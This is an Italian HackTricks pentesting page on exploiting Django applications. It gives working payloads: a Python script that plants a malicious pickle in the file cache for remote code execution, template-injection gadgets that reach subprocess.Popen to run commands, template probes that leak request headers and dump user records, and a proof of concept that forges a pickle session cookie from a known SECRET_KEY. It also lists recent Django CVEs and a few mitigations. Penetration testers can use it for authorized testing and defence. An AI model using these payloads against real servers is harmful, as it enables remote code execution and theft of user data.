Django

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cache Manipulation to RCE

Il metodo predefinito di memorizzazione della cache di Django è Python pickles, che può portare a RCE se untrusted input is unpickled. Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante.

La cache di Django viene memorizzata in uno di quattro posti: Redis, memory, files, o un database. La cache memorizzata su un server Redis o in un database sono i vettori di attacco più probabili (Redis injection e SQL injection), ma un attaccante potrebbe anche sfruttare la cache basata su file per trasformare una scrittura arbitraria in RCE. I maintainer hanno classificato questo come non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis variano a seconda dell’implementazione.

Su FileBasedCache, il valore pickled viene scritto in un file sotto CACHES['default']['LOCATION'] (spesso /var/tmp/django_cache/). Se quella directory è world-writable o controllata dall’attaccante, lasciare un pickle malevolo con la chiave di cache prevista provoca l’esecuzione di codice quando l’app lo legge:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

Questo report su HackerOne fornisce un ottimo, riproducibile esempio di sfruttamento della cache Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) è Turing-complete. Se dati forniti dall’utente vengono renderizzati come una template string (ad esempio chiamando Template(user_input).render() o quando |safe/format_html() rimuovono l’auto-escaping), un attacker può ottenere pieno SSTI → RCE.

Rilevamento

  1. Cerca chiamate dinamiche a Template() / Engine.from_string() / render_to_string() che includono qualsiasi dato della request non sanitizzato.
  2. Invia un payload basato sul tempo o aritmetico:
{{7*7}}

Se l’output renderizzato contiene 49 l’input viene compilato dal motore di template. 3. DTL is not Jinja2: payload aritmetici/di loop sollevano regolarmente TemplateSyntaxError/500 pur dimostrando l’esecuzione. Polyglots come ${{<%[%'"}}% sono buoni crash-or-render probes.

Esfiltrazione del contesto quando RCE è bloccata

Anche se l’object-walking verso subprocess.Popen fallisce, DTL espone comunque oggetti nello scope:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values() converte le righe in dizionari, aggirando __str__ ed esponendo tutti i campi restituiti dal queryset. Questo funziona anche quando l’esecuzione diretta di Python è filtrata.

Pattern di automazione: autenticati, ottieni il token CSRF, salva un payload prefissato da un marcatore in un qualsiasi campo persistente (p.es., username/bio del profilo), poi richiedi una view che lo renderizzi (endpoint AJAX come /likes/<id> sono comuni). Analizza un attributo stabile (p.es., title="...") per recuperare il risultato renderizzato e iterare i payload.

Primitive per RCE

Django blocca l’accesso diretto a __import__, ma il grafo degli oggetti Python è raggiungibile:

{{''.__class__.mro()[1].__subclasses__()}}

Trova l’indice di subprocess.Popen (≈400–500 a seconda della build di Python) ed esegui comandi arbitrari:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Un gadget universale più sicuro è iterare finché cls.__name__ == 'Popen'.

Lo stesso gadget funziona per le feature di rendering dei template di Debug Toolbar o Django-CMS che gestiscono male l’input dell’utente.


Vedi anche: ReportLab/xhtml2pdf PDF export RCE

Le applicazioni basate su Django integrano comunemente xhtml2pdf/ReportLab per esportare le views in PDF. Quando HTML controllato dall’utente fluisce nella generazione del PDF, rl_safe_eval può valutare espressioni all’interno di triple parentesi [[[ ... ]]], consentendo l’esecuzione di codice (CVE-2023-33733). Dettagli, payload e mitigazioni:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


Se l’impostazione SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' è abilitata (o è presente un serializer custom che deserializza pickle), Django decripta e unpickles il cookie di sessione prima di invocare qualsiasi codice della view. Di conseguenza, possedere una signing key valida (il SECRET_KEY del progetto per impostazione predefinita) è sufficiente per ottenere l’esecuzione di codice remota immediata.

Requisiti dell’exploit

  • Il server usa PickleSerializer.
  • L’attaccante conosce / può indovinare settings.SECRET_KEY (leaks via GitHub, .env, pagine di errore, ecc.).

Proof-of-Concept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Invia il cookie risultante e il payload viene eseguito con i permessi del worker WSGI.

Mitigazioni: Mantieni il JSONSerializer predefinito, ruota SECRET_KEY e configura SESSION_COOKIE_HTTPONLY.


Recenti (2023-2025) CVE Django ad alto impatto che i Pentesters dovrebbero controllare

  • CVE-2025-48432Log Injection via unescaped request.path (fixato il 4 giugno 2025). Permette agli attaccanti di introdurre newline/codici ANSI nei file di log e avvelenare l’analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection in QuerySet.values()/values_list() su JSONField (CVSS 9.8). Manipolare le chiavi JSON per sfuggire all’escaping delle virgolette ed eseguire SQL arbitrario. Corretto in 4.2.15 / 5.0.8.

Eseguire sempre il fingerprint della versione esatta del framework tramite la pagina di errore X-Frame-Options o l’hash di /static/admin/css/base.css e testare quanto sopra quando applicabile.


Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks